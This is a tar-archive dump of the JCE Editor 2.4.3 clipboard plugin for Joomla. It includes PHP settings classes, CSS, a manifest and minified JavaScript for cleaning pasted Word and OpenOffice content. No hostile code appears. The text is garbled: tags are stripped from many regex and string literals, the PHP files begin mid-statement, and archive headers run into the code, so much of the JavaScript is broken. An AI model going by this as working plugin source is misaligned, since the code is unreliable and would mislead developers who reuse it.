    com_jce/editor/tiny_mce/plugins/clipboard/tmpl/index.html000066600000000054150771500630017640 0ustar00com_jce/editor/tiny_mce/plugins/clipboard/classes/clipboard.php000066600000002510150771500630020773 0ustar00setTitle(WFText::_('WF_' . strtoupper($cmd) . '_TITLE')); $document->addScript(array('clipboard'), 'plugins'); $document->addStyleSheet(array('clipboard'), 'plugins'); } public function getSettings($settings = array()) { return parent::getSettings($settings); } } ?>com_jce/editor/tiny_mce/plugins/clipboard/classes/index.html000066600000000054150771500630020321 0ustar00com_jce/editor/tiny_mce/plugins/clipboard/classes/config.php000066600000005377150771500630020317 0ustar00getParam('clipboard.paste_dialog_width', 450, 450); $settings['clipboard_paste_dialog_height'] = $wf->getParam('clipboard.paste_dialog_height', 400, 400); $settings['clipboard_paste_use_dialog'] = $wf->getParam('clipboard.paste_use_dialog', 0, 0, 'boolean'); $settings['clipboard_paste_force_cleanup'] = $wf->getParam('clipboard.paste_force_cleanup', 0, 0, 'boolean'); $settings['clipboard_paste_strip_class_attributes'] = $wf->getParam('clipboard.paste_strip_class_attributes', 0, 0); $settings['clipboard_paste_remove_styles'] = $wf->getParam('clipboard.paste_remove_styles', 0, 0, 'boolean'); $settings['clipboard_paste_retain_style_properties'] = $wf->getParam('clipboard.paste_retain_style_properties', '', ''); $settings['clipboard_paste_remove_spans'] = $wf->getParam('clipboard.paste_remove_spans', 0, 0, 'boolean'); $settings['clipboard_paste_remove_attributes'] = $wf->getParam('clipboard.paste_remove_attributes', '', ''); $settings['clipboard_paste_remove_styles_if_webkit'] = $wf->getParam('clipboard.paste_remove_styles_if_webkit', 0, 0, 'boolean'); $settings['clipboard_paste_remove_empty_paragraphs'] = $wf->getParam('clipboard.paste_remove_empty_paragraphs', 1, 1, 'boolean'); $settings['clipboard_paste_text'] = $wf->getParam('clipboard.paste_text', 1, 1, 'boolean'); $settings['clipboard_paste_html'] = $wf->getParam('clipboard.paste_html', 1, 1, 'boolean'); $settings['clipboard_paste_process_footnotes'] = $wf->getParam('clipboard.paste_process_footnotes', 'convert', 'convert'); $settings['clipboard_paste_upload_images'] = $wf->getParam('clipboard.paste_upload_images', 0, 0); $settings['clipboard_paste_remove_tags'] = $wf->getParam('clipboard.paste_remove_tags', '', ''); $settings['clipboard_paste_keep_tags'] = $wf->getParam('clipboard.paste_keep_tags', '', ''); $settings['clipboard_paste_filter'] = $wf->getParam('clipboard.paste_filter', '', ''); } } ?>com_jce/editor/tiny_mce/plugins/clipboard/blank.htm000066600000000754150771500630016477 0ustar00 blank_page com_jce/editor/tiny_mce/plugins/clipboard/index.html000066600000000054150771500630016664 0ustar00com_jce/editor/tiny_mce/plugins/clipboard/css/blank.css000066600000000432150771500630017260 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ body{background-color:white;color:black;padding:2px;text-align:left;}com_jce/editor/tiny_mce/plugins/clipboard/css/index.html000066600000000054150771500630017454 0ustar00com_jce/editor/tiny_mce/plugins/clipboard/css/clipboard.css000066600000000454150771500630020134 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ textarea{width:100%;height:100%;font-family:'Courier New',Courier,mono;font-size:12px;}com_jce/editor/tiny_mce/plugins/clipboard/css/content.css000066600000000325150771500630017644 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ com_jce/editor/tiny_mce/plugins/clipboard/clipboard.xml000066600000013275150771500630017361 0ustar00 WF_CLIPBOARD_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_CLIPBOARD_DESC cut,copy,paste,pastetext com_jce/editor/tiny_mce/plugins/clipboard/editor_plugin.js000066600000060670150771500630020103 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each,VK=tinymce.VK,Event=tinymce.dom.Event;var styleProps=new Array('background','background-attachment','background-color','background-image','background-position','background-repeat','border','border-bottom','border-bottom-color','border-bottom-style','border-bottom-width','border-color','border-left','border-left-color','border-left-style','border-left-width','border-right','border-right-color','border-right-style','border-right-width','border-style','border-top','border-top-color','border-top-style','border-top-width','border-width','outline','outline-color','outline-style','outline-width','height','max-height','max-width','min-height','min-width','width','font','font-family','font-size','font-style','font-variant','font-weight','content','counter-increment','counter-reset','quotes','list-style','list-style-image','list-style-position','list-style-type','margin','margin-bottom','margin-left','margin-right','margin-top','padding','padding-bottom','padding-left','padding-right','padding-top','bottom','clear','clip','cursor','display','float','left','overflow','position','right','top','visibility','z-index','orphans','page-break-after','page-break-before','page-break-inside','widows','border-collapse','border-spacing','caption-side','empty-cells','table-layout','color','direction','letter-spacing','line-height','text-align','text-decoration','text-indent','text-shadow','text-transform','unicode-bidi','vertical-align','white-space','word-spacing');tinymce.create('tinymce.plugins.ClipboardPlugin',{init:function(ed,url){var self=this,cb;self.editor=ed;self.url=url;this.canPaste=false;self.onPreProcess=new tinymce.util.Dispatcher(this);self.onPostProcess=new tinymce.util.Dispatcher(this);self.onAfterPaste=new tinymce.util.Dispatcher(this);self.onPreProcess.add(self._preProcess);self.onPostProcess.add(self._postProcess);self.onPreProcess.add(function(pl,o){ed.execCallback('paste_preprocess',pl,o);});self.onPostProcess.add(function(pl,o){ed.execCallback('paste_postprocess',pl,o);});ed.onKeyDown.addToTop(function(ed,e){if((VK.metaKeyPressed&&e.keyCode==86)||(e.shiftKey&&e.keyCode==45)){return false;} if(!ed.getParam('clipboard_allow_cut',1)&&(VK.metaKeyPressed&&e.keyCode==88)){e.preventDefault();return false;} if(!ed.getParam('clipboard_allow_copy',1)&&(VK.metaKeyPressed&&e.keyCode==67)){e.preventDefault();return false;}});self.pasteText=ed.getParam('clipboard_paste_text',1);self.pasteHtml=ed.getParam('clipboard_paste_html',1);function process(o){var dom=ed.dom,rng;ed.setProgressState(1);switch(self.command){case'mcePaste':if(!self.pasteHtml){self.command='mcePasteText';} break;case'mcePasteText':if(!self.pasteText){self.command='mcePaste';} break;case'mcePasteWord':if(!self.pasteWord||!self.pasteHtml){self.command='mcePasteText';} break;default:self.command='mcePaste';if(!self.pasteHtml&&self.pasteText){self.command='mcePasteText';} break;} self.plainText=self.command=='mcePasteText';if(ed.getParam('clipboard_paste_force_cleanup')){o.wordContent=true;} self.onPreProcess.dispatch(self,o);o.node=dom.create('div',0,o.content);if(tinymce.isGecko){rng=ed.selection.getRng(true);if(rng.startContainer==rng.endContainer&&rng.startContainer.nodeType==3){if(o.node.childNodes.length===1&&/^(p|h[1-6]|pre)$/i.test(o.node.firstChild.nodeName)&&o.content.indexOf('__MCE_ITEM__')===-1) dom.remove(o.node.firstChild,true);}} self.onPostProcess.dispatch(self,o);o.content=ed.serializer.serialize(o.node,{getInner:1,forced_root_block:''});if(self.plainText){self._insertPlainText(o.content);}else{self._insert(o.content);} self.onAfterPaste.dispatch(self);ed.setProgressState(0);self.command='mcePaste';} ed.addCommand('mceInsertClipboardContent',function(u,o){process(o);});ed.onInit.add(function(){if(ed.plugins.contextmenu){ed.plugins.contextmenu.onContextMenu.add(function(th,m,e){var c=ed.selection.isCollapsed();if(ed.getParam('clipboard_cut',1)){m.add({title:'advanced.cut_desc',icon:'cut',cmd:'Cut'}).setDisabled(c);} if(ed.getParam('clipboard_copy',1)){m.add({title:'advanced.copy_desc',icon:'copy',cmd:'Copy'}).setDisabled(c);} if(self.pasteHtml){m.add({title:'clipboard.paste_desc',icon:'paste',cmd:'mcePaste'});} if(self.pasteText){m.add({title:'clipboard.paste_text_desc',icon:'pastetext',cmd:'mcePasteText'});}});}});function grabContent(e){var n,or,rng,oldRng,sel=ed.selection,dom=ed.dom,doc=ed.getDoc(),body=ed.getBody(),posY,textContent;if(e.clipboardData||doc.dataTransfer){textContent=(e.clipboardData||doc.dataTransfer).getData('Text');if(ed.pasteAsPlainText){e.preventDefault();process({content:textContent.replace(/\r?\n/g,'
    ')});return;}} if(dom.get('_mcePaste')){return;} n=dom.add(body,'div',{id:'_mcePaste','class':'mcePaste','data-mce-bogus':'1'},'\uFEFF\uFEFF');if(body!=ed.getDoc().body) posY=dom.getPos(ed.selection.getStart(),body).y;else posY=body.scrollTop+dom.getViewPort(ed.getWin()).y;dom.setStyles(n,{position:'absolute',left:tinymce.isGecko?-40:0,top:posY-25,width:1,height:1,overflow:'hidden'});if(tinymce.isIE){oldRng=sel.getRng();rng=dom.doc.body.createTextRange();rng.moveToElementText(n);rng.execCommand('Paste');dom.remove(n);if(n.innerHTML==='\uFEFF\uFEFF'){e.preventDefault();return;} sel.setRng(oldRng);sel.setContent('');self.canPaste=true;setTimeout(function(){process({content:n.innerHTML});},0);tinymce.dom.Event.cancel(e);}else{function block(e){e.preventDefault();} self.canPaste=true;dom.bind(doc,'mousedown',block);dom.bind(doc,'keydown',block);or=ed.selection.getRng();n=n.firstChild;rng=doc.createRange();rng.setStart(n,0);rng.setEnd(n,2);sel.setRng(rng);window.setTimeout(function(){var h='',nl;if(!dom.select('div.mcePaste > div.mcePaste').length){nl=dom.select('div.mcePaste');each(nl,function(n){var child=n.firstChild;if(child&&child.nodeName=='DIV'&&child.style.marginTop&&child.style.backgroundColor){dom.remove(child,1);} each(dom.select('span.Apple-style-span',n),function(n){dom.remove(n,1);});each(dom.select('br[data-mce-bogus]',n),function(n){dom.remove(n);});if(n.parentNode.className!='mcePaste') h+=n.innerHTML;});}else{h='

    '+dom.encode(textContent).replace(/\r?\n\r?\n/g,'

    ').replace(/\r?\n/g,'
    ')+'

    ';} each(dom.select('div.mcePaste'),function(n){dom.remove(n);});if(or) sel.setRng(or);process({content:h});dom.unbind(ed.getDoc(),'mousedown',block);dom.unbind(ed.getDoc(),'keydown',block);},0);}} if(tinymce.isOpera||/Firefox\/2/.test(navigator.userAgent)){ed.onKeyDown.addToTop(function(ed,e){if(((tinymce.isMac?e.metaKey:e.ctrlKey)&&e.keyCode==86)||(e.shiftKey&&e.keyCode==45)) grabContent(e);});}else{ed.onPaste.addToTop(function(ed,e){return grabContent(e);});} if(ed.getParam('clipboard_paste_block_drop')){ed.onInit.add(function(){ed.dom.bind(ed.getBody(),['dragend','dragover','draggesture','dragdrop','drop','drag'],function(e){e.preventDefault();e.stopPropagation();return false;});});} each(['Cut','Copy'],function(command){ed.addCommand(command,function(){var doc=ed.getDoc(),failed;try{doc.execCommand(command,false,null);}catch(ex){failed=true;} var msg=ed.getLang('clipboard_msg','');msg=msg.replace(/\%s/g,tinymce.isMac?'CMD':'CTRL');if(failed||!doc.queryCommandSupported(command)){if(tinymce.isGecko){ed.windowManager.confirm(msg,function(state){if(state) open('http://www.mozilla.org/editor/midasdemo/securityprefs.html','_blank');});}else ed.windowManager.alert(ed.getLang('clipboard_no_support'));}});});each(['mcePasteText','mcePaste'],function(cmd){ed.addCommand(cmd,function(){var doc=ed.getDoc();self.command=cmd;if(ed.getParam('clipboard_paste_use_dialog')||(tinymce.isIE&&!doc.queryCommandSupported('Paste'))){return self._openWin(cmd);}else{try{doc.execCommand('Paste',false,null);}catch(e){self.canPaste=false;} if(self.canPaste===false){return self._openWin(cmd);}}});});if(self.pasteHtml){ed.addButton('paste',{title:'clipboard.paste_desc',cmd:'mcePaste',ui:true});} if(self.pasteText){ed.addButton('pastetext',{title:'clipboard.paste_text_desc',cmd:'mcePasteText',ui:true});} if(ed.getParam('clipboard_cut',1)){ed.addButton('cut',{title:'advanced.cut_desc',cmd:'Cut',icon:'cut'});} if(ed.getParam('clipboard_copy',1)){ed.addButton('copy',{title:'advanced.copy_desc',cmd:'Copy',icon:'copy'});}},getInfo:function(){return{longname:'Paste text/word',author:'Moxiecode Systems AB / Ryan demmer',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste',version:'2.4.3'};},_openWin:function(cmd){var ed=this.editor;ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=clipboard&cmd='+cmd,width:parseInt(ed.getParam("clipboard_paste_dialog_width","450")),height:parseInt(ed.getParam("clipboard_paste_dialog_height","400")),inline:1,popup_css:false},{cmd:cmd});},_preProcess:function(pl,o){var ed=pl.editor,h=o.content,rb;if(ed.settings.paste_enable_default_filters==false){return;} if(tinymce.isIE&&document.documentMode>=9&&/<(h[1-6r]|p|div|address|pre|form|table|tbody|thead|tfoot|th|tr|td|li|ol|ul|caption|blockquote|center|dl|dt|dd|dir|fieldset)/.test(o.content)){h=h.replace(/(?:
     [\s\r\n]+|
    )*(<\/?(h[1-6r]|p|div|address|pre|form|table|tbody|thead|tfoot|th|tr|td|li|ol|ul|caption|blockquote|center|dl|dt|dd|dir|fieldset)[^>]*>)(?:
     [\s\r\n]+|
    )*/g,'$1');h=h.replace(/

    /g,'

    ');h=h.replace(/
    /g,' ');h=h.replace(/

    /g,'
    ');} h=h.replace(/^\s*( )+/g,'');h=h.replace(/( |]*>)+\s*$/g,'');if(this.plainText){return h;} var ooRe=/(Version:[\d\.]+)\s*?((Start|End)(HTML|Fragment):[\d]+\s*?){4}/;if(/(content=\"OpenOffice.org[^\"]+\")/i.test(h)||ooRe.test(h)){o.wordContent=true;h=h.replace(ooRe,'','g');h=h.replace(/[\s\S]+?]*>/,'');h=h.replace(//gi,'');h=h.replace(/]*>[\s\S]+?<\/style>/gi,'');} if(/(class=\"?Mso|style=\"[^\"]*\bmso\-|w:WordDocument)/.test(h)){o.wordContent=true;} if(o.wordContent){h=this._processWordContent(h);} if(ed.getParam('clipboard_paste_remove_attributes')){var attribs=ed.getParam('clipboard_paste_remove_attributes').split(',');h=h.replace(new RegExp(' ('+attribs.join('|')+')="([^"]+)"','gi'),'');} if(rb=ed.getParam('forced_root_block')){var blocks='';if(h.indexOf('

    ')!=-1){tinymce.each(h.split('

    '),function(block){blocks+='<'+rb+'>'+block+'';});h=blocks;}} var stripClasses=ed.getParam('clipboard_paste_strip_class_attributes');if(stripClasses=='none'||stripClasses=='mso'){stripClasses=false;} if(stripClasses||o.wordContent){function removeClasses(match,g1){if(stripClasses){return'';} if(o.wordContent){var cls=tinymce.grep(tinymce.explode(g1.replace(/^(["'])(.*)\1$/,"$2")," "),function(v){return(/^(?!mso)/i.test(v));});} return cls.length?' class="'+cls.join(" ")+'"':'';} h=h.replace(/ class="([^"]+)"/gi,removeClasses);h=h.replace(/ class=([\-\w]+)/gi,removeClasses);} h=h.replace(/ /g,'\u00a0');if(ed.getParam('clipboard_paste_remove_spans')){if(ed.settings.inline_styles){h=h.replace(/<\/?(u|strike)[^>]*>/gi,'');if(ed.settings.convert_fonts_to_spans){h=h.replace(/<\/?(font)[^>]*>/gi,'');}} h=h.replace(/<\/?(span)[^>]*>/gi,'');} if(!ed.getParam('forced_root_block')){if(ed.getParam('clipboard_paste_remove_empty_paragraphs',true)){h=h.replace(/]*)>(\s| |\u00a0)*<\/p>/gi,'');} h=h.replace(/<\/(p|div)>/gi,'

    ').replace(/<(p|div)([^>]*)>/g,'').replace(/(
    ){2}$/g,'');} h=h.replace(/Version:[\d.]+\nStartHTML:\d+\nEndHTML:\d+\nStartFragment:\d+\nEndFragment:\d+/gi,'');if(ed.getParam('clipboard_paste_convert_urls',true)){h=this._convertURLs(h);} if(ed.settings.verify_html===false){h=h.replace(/]*)>/gi,'');h=h.replace(/<\/b>/gi,'');} o.content=h;},_cleanWordContent:function(h){h=h.replace(/]+)>/,'');h=h.replace(//gi,'');h=h.replace(/]*)>([\w\W]*?)<\/style>/gi,'');h=h.replace(/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|meta|link|\w:\w+)(?=[\s\/>]))[^>]*>/gi,'');return h;},_processFootNotes:function(h){var ed=this.editor;var footnotes=ed.getParam('clipboard_paste_process_footnotes','convert');if(footnotes=='remove'){h=h.replace(/]+(mso-element:(end|foot)note|sdfootnote)[^>]+>[\s\S]+?<\/div>/gi,'');h=h.replace(/
    [\s\S]+?<\/div>/gi,'');}else{h=h.replace(/]+mso-element:\s*((end|foot)note|sdfootnote)[^>]+>/gi,'');h=h.replace(/
    /gi,'');} h=h.replace('

    ','');if(footnotes==='convert'){h=h.replace(/]+)style="(mso-(end|foot)note-id|sdfootnoteanc)[^"]+"([^>]+)>/gi,'');}else if(footnotes==='unlink'){h=h.replace(/]+(mso-(end|foot)note-id|sdfootnoteanc)[^>]+>([\s\S]+?)<\/a>/gi,'$3');}else if(footnotes==='remove'){h=h.replace(/]+(mso-(end|foot)note-id|sdfootnoteanc)[^>]+>([\s\S]+?)<\/a>/gi,'');} h=h.replace(/]+)href="([^"]+)"([^>]+)>(.*?)(.*?)<\/a>/gi,function(a,b,c,d,e,f){var s=e+f;s=s.replace('','').replace(/<\/?span([^>]*)>/g,'');if(footnotes==='convert'){return''+s+'';} if(footnotes==='unlink'){return s;} return"";});return h;},_processWordContent:function(h){var ed=this.editor,stripClass,len;if(ed.getParam('clipboard_paste_convert_lists',true)){h=h.replace(//gi,'__MCE_LIST_ITEM__');h=h.replace(/(]+:\s*symbol[^>]+>)/gi,'$1__MCE_LIST_ITEM__');h=h.replace(/(]+mso-list:[^>]+>)/gi,'$1__MCE_LIST_ITEM__');h=h.replace(/(]+(?:MsoListParagraph)[^>]+>)/gi,'$1__MCE_LIST_ITEM__');} h=this._processFootNotes(h);h=this._cleanWordContent(h);h=h.replace(/<(\/?)s>/gi,"<$1strike>");h=h.replace(/ /gi,"\u00a0");do{len=h.length;h=h.replace(/(<[a-z][^>]*\s)(?:id|language|type|on\w+|\w+:\w+)=(?:"[^"]*"|\w+)\s?/gi,"$1");}while(len!=h.length);if(!ed.getParam('clipboard_paste_remove_styles')){h=h.replace(/([\s\u00a0]*)<\/span>/gi,function(str,spaces){return(spaces.length>0)?spaces.replace(/./," ").slice(Math.floor(spaces.length/2)).split("").join("\u00a0"):"";});h=h.replace(/(<[a-z][^>]*)\sstyle="([^"]*)"/gi,function(str,tag,style){var n=[],i=0,s=tinymce.explode(tinymce.trim(style).replace(/"/gi,"'"),";");each(s,function(v){var name,value,parts=tinymce.explode(v,":");function ensureUnits(v){return v+((v!=="0")&&(/\d$/.test(v)))?"px":"";} if(parts.length==2){name=parts[0].toLowerCase();value=parts[1].toLowerCase();switch(name){case"mso-padding-alt":case"mso-padding-top-alt":case"mso-padding-right-alt":case"mso-padding-bottom-alt":case"mso-padding-left-alt":case"mso-margin-alt":case"mso-margin-top-alt":case"mso-margin-right-alt":case"mso-margin-bottom-alt":case"mso-margin-left-alt":case"mso-table-layout-alt":case"mso-height":case"mso-width":case"mso-vertical-align-alt":n[i++]=name.replace(/^mso-|-alt$/g,"")+":"+ensureUnits(value);return;case"horiz-align":n[i++]="text-align:"+value;return;case"vert-align":n[i++]="vertical-align:"+value;return;case"font-color":case"mso-foreground":n[i++]="color:"+value;return;case"mso-background":case"mso-highlight":n[i++]="background:"+value;return;case"mso-default-height":n[i++]="min-height:"+ensureUnits(value);return;case"mso-default-width":n[i++]="min-width:"+ensureUnits(value);return;case"mso-padding-between-alt":n[i++]="border-collapse:separate;border-spacing:"+ensureUnits(value);return;case"text-line-through":if((value=="single")||(value=="double")){n[i++]="text-decoration:line-through";} return;case"mso-zero-height":if(value=="yes"){n[i++]="display:none";} return;case'mso-special-character':if(value=="footnote"){n[i++]='vertical-align:super';} break;} if(/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?!align|decor|indent|trans)|top-bar|version|vnd|word-break)/.test(name)){return;} n[i++]=name+":"+parts[1];}});if(i>0){return tag+' style="'+n.join(';')+'"';}else{return tag;}});} if(ed.getParam('forced_root_block')){h=h.replace(/

    /gi,'');} return h;},_insertPlainText:function(h){var ed=this.editor,dom=ed.dom,rb,entities=null;if((typeof(h)==="string")&&(h.length>0)){h=this._cleanWordContent(h);if(/<(?:p|br|h[1-6]|ul|ol|dl|table|t[rdh]|div|blockquote|fieldset|pre|address|center)[^>]*>/i.test(h)){h=h.replace(/[\n\r]+/g,'');}else{h=h.replace(/\r+/g,'');} h=h.replace(/<\/(?:p|h[1-6]|ul|ol|dl|table|div|blockquote|fieldset|pre|address|center)>/gi,"\n\n");h=h.replace(/]*>|<\/tr>/gi,"\n");h=h.replace(/<\/t[dh]>\s*]*>/gi,"\t");h=h.replace(/<[a-z!\/?][^>]*>/gi,'');h=h.replace(/ /gi," ");h=dom.decode(tinymce.html.Entities.encodeRaw(h));h=h.replace(/(?:(?!\n)\s)*(\n+)(?:(?!\n)\s)*/gi,"$1");h=h.replace(/\n{3,}/g,"\n\n");h=h.replace(/^\s+|\s+$/g,'');h=h.replace(/\u2026/g,"...");h=h.replace(/[\x93\x94\u201c\u201d]/g,'"');h=h.replace(/[\x60\x91\x92\u2018\u2019]/g,"'");if(rb=ed.getParam("forced_root_block")){h=h.replace(/^\s+|\s+$/g,'');h=h.replace(/\n\n/g,'<'+rb+'>');} h=h.replace(/\n+?/g,'
    ');if(ed.getParam('clipboard_paste_remove_empty_paragraphs',true)){h=h.replace(/

    (\s| |\u00a0)?<\/p>/gi,'');}} this._insert(h);},_convertToInline:function(node){var ed=this.editor,dom=ed.dom;var fontSizes=tinymce.explode(ed.settings.font_size_style_values);function replaceWithSpan(n,styles){tinymce.each(styles,function(value,name){if(value) dom.setStyle(n,name,value);});dom.rename(n,'span');} filters={font:function(n){replaceWithSpan(n,{backgroundColor:n.style.backgroundColor,color:n.color,fontFamily:n.face,fontSize:fontSizes[parseInt(n.size)-1]});},u:function(n){replaceWithSpan(n,{textDecoration:'underline'});},strike:function(n){replaceWithSpan(n,{textDecoration:'line-through'});}};if(ed.settings.convert_fonts_to_spans){tinymce.each(dom.select('font,u,strike',node),function(n){filters[n.nodeName.toLowerCase()](n);});}},_processStyles:function(node){var ed=this.editor,dom=ed.dom;var s=ed.getParam('clipboard_paste_retain_style_properties');if(s&&tinymce.is(s,'string')){styleProps=tinymce.explode(s);} each(dom.select('*[style]',node),function(n){var ns={},x=0;var styles=dom.parseStyle(n.style.cssText);each(styles,function(v,k){if(tinymce.inArray(styleProps,k)!=-1){ns[k]=v;x++;}});dom.setAttrib(n,'style','');if(x>0){dom.setStyles(n,ns);}else{if(n.nodeName=='SPAN'&&!n.className){dom.remove(n,true);}} if(tinymce.isWebKit){n.removeAttribute('data-mce-style');}});},_convertURLs:function(h){var ex='([-!#$%&\'\*\+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'\*\+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+)';var ux='((news|telnet|nttp|file|http|ftp|https)://[-!#$%&\'\*\+\\/0-9=?A-Z^_`a-z{|}~;]+\.[-!#$%&\'\*\+\\./0-9=?A-Z^_`a-z{|}~;]+)';h=h.replace(new RegExp('(=["\']|>)?'+ux,'g'),function(a,b,c){if(!b){return''+c+'';} return a;});h=h.replace(new RegExp('(=["\']mailto:|>)?'+ex,'g'),function(a,b,c){if(!b){return''+c+'';} return a;});return h;},_convertFootNotes:function(node){var ed=this.editor,dom=ed.dom;each(dom.select('a[data-mce-footnote]',node),function(n,i){var anchor,id,href=n.getAttribute('href');dom.remove(ed.dom.select('span',n),1);n.removeAttribute('data-mce-footnote');n.removeAttribute('title');dom.setStyle(n,'vertical-align','super');if(href.charAt(0)==='#'){id=href.substring(1);} if(id){if(!n.id){dom.setAttrib(n,'id','ftnref'+id.replace(/\D/g,''));} anchor=dom.select('a[name="'+id+'"]',node);if(anchor.length){anchor=anchor[0];id=id.replace(/[^a-z]+(\w+)/gi,'$1');var attribs={'class':'mceItemAnchor','name':null,'id':null,'href':'#'+n.id};var k=ed.settings.schema=='html5'?'id':'name';attribs[k]=id;dom.setAttribs(anchor,attribs);dom.setAttribs(n,{'href':'#'+id});}}});},_postProcess:function(pl,o){var self=this,ed=this.editor,dom=ed.dom,h;if(ed.settings.paste_enable_default_filters==false){return;} if(this.plainText){return;} each(dom.select('span.Apple-style-span',o.node),function(n){dom.remove(n,1);});if(!ed.getParam('clipboard_paste_remove_spans')){if(ed.settings.inline_styles){this._convertToInline(o.node);}} if(o.wordContent){dom.remove(dom.select('a[name="_GoBack"]',o.node),1);each(dom.select('a',o.node),function(n){var href=n.getAttribute('href');if(!href||href.indexOf('#_Toc')===0){dom.remove(n,1);}});if(ed.getParam('clipboard_paste_convert_lists',true)){this._convertLists(o.node);} if(ed.getParam('clipboard_paste_process_footnotes','convert')==='convert'){this._convertFootNotes(o.node);} each(dom.select('*[lang]',o.node),function(el){el.removeAttribute('lang');});} if(ed.getParam('clipboard_paste_remove_styles')){each(dom.select('*[style]',o.node),function(el){el.removeAttribute('style');el.removeAttribute('data-mce-style');});}else{this._processStyles(o.node);} var imgRe=/(file:|data:image)\//i,uploader=ed.plugins.upload;var canUpload=uploader&&uploader.plugins.length;each(dom.select('img',o.node),function(el){var s=dom.getAttrib(el,'src');if(!s||imgRe.test(s)){if(ed.getParam('clipboard_paste_upload_images')&&canUpload){ed.dom.setAttrib(el,'data-mce-upload-marker','1');}else{dom.remove(el);}}else{dom.setAttrib(el,'src',ed.convertURL(s));}});each(dom.select('a',o.node),function(el){var s=dom.getAttrib(el,'href');if(s){if(s.charAt(0)!='#'){dom.getAttrib(el,'href',ed.convertURL(s));}}else{if(!el.name||!el.id){dom.remove(el);}}});if(ed.getParam('clipboard_paste_remove_tags')){dom.remove(dom.select(ed.getParam('clipboard_paste_remove_tags'),o.node),1);} if(ed.getParam('clipboard_paste_keep_tags')){var tags=ed.getParam('clipboard_paste_keep_tags');dom.remove(dom.select('*:not('+tags+')',o.node),1);} var emptyRe=/^(\s| |\u00a0)?$/;if(ed.getParam('clipboard_paste_remove_spans')){dom.remove(dom.select('span',o.node),1);}else{ed.dom.remove(dom.select('span:empty',o.node));each(dom.select('span',o.node),function(n){var h=n.innerHTML;if(emptyRe.test(h)){dom.remove(n);} if(dom.getAttribs(n).length===0){dom.remove(n,1);}});} if(ed.getParam('clipboard_paste_remove_empty_paragraphs',true)){dom.remove(dom.select('p:empty',o.node));each(dom.select('p',o.node),function(n){var h=n.innerHTML;if(emptyRe.test(h)){dom.remove(n);}});}},_convertLists:function(node){var ed=this.editor,dom=ed.dom,listElm,li,lastMargin=-1,margin,levels=[],lastType;var ULRX=/^(__MCE_LIST_ITEM__)*\s*[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*\u00a0*/;var OLRX=/^(__MCE_LIST_ITEM__)*\s*\(?(\w+)(\.|\))\s*\u00a0*/;each(dom.select('p, h1, h2, h3, h4, h5, h6',node),function(p,i){var sib,val='',type,html,idx,parents,s,chars,st,start;html=p.innerHTML;if(html.indexOf('__MCE_LIST_ITEM__')===-1){listElm=lastMargin=0;return;} val=html.replace(/<\/?\w+[^>]*>/gi,'').replace(/ /g,'\u00a0');if(ULRX.test(val)){type='ul';} if(s=val.match(OLRX)){type='ol';chars=s[2];if(chars&&chars!='__MCE_LIST_ITEM__'){if(/[a-z+?]/.test(chars)){st='lower-alpha';} if(/[A-Z+?]/.test(chars)){st='upper-alpha';} if(/[ivx+]/.test(chars)){st='lower-roman';} if(/[IVX+]/.test(chars)){st='upper-roman';} if(i===0&&!st&&parseInt(chars)>1){start=parseInt(chars);}}} if(type){margin=parseFloat(p.style.marginLeft||0);if(margin>lastMargin){levels.push(margin);} if(!listElm||type!=lastType){listElm=dom.create(type);dom.insertAfter(listElm,p);}else{if(margin>lastMargin){listElm=dom.add(li,type);}else if(margin]*>/gi,'').replace(/ /g,'\u00a0');if(ULRX.test(h)||OLRX.test(h)){dom.remove(span,h.indexOf('__MCE_LIST_ITEM__')!==-1);} if(/^(\s|\u00a0| )+$/.test(h)){dom.remove(span);} if(dom.getAttribs(span).length===0){dom.remove(span,1);}});html=p.innerHTML;if(type=='ul'){html=html.replace(ULRX,'');}else{html=html.replace(OLRX,'');} var args={'start':start};li=dom.add(listElm,'li',args,html);if(st&&typeof st!='undefined'){dom.setStyle(li,'list-style-type',st);} dom.remove(p);lastMargin=margin;lastType=type;}else{listElm=lastMargin=0;}});var h=node.innerHTML;if(h.indexOf('__MCE_LIST_ITEM__')!==-1){node.innerHTML=h.replace(/__MCE_LIST_ITEM__/g,'');}},_insert:function(h,skip_undo){var ed=this.editor;if(ed.getParam('clipboard_paste_remove_empty_paragraphs',true)){h=h.replace(/]+)>( |\u00a0)?<\/p>/g,'');} if(ed.getParam('clipboard_paste_filter')){var re,rules=ed.getParam('clipboard_paste_filter').split(';');each(rules,function(s){if(/^\/.*\/(g|i|m)*$/.test(s)){re=(new Function('return '+s))();}else{re=new RegExp(s);} h=h.replace(re,"");});} var verify=ed.settings.verify_html;ed.settings.verify_html=ed.settings.validate=true;ed.execCommand('mceInsertContent',false,h,{skip_undo:skip_undo});ed.settings.verify_html=ed.settings.validate=verify;}});tinymce.PluginManager.add('clipboard',tinymce.plugins.ClipboardPlugin);})();com_jce/editor/tiny_mce/plugins/index.html000066600000000054150771500630014725 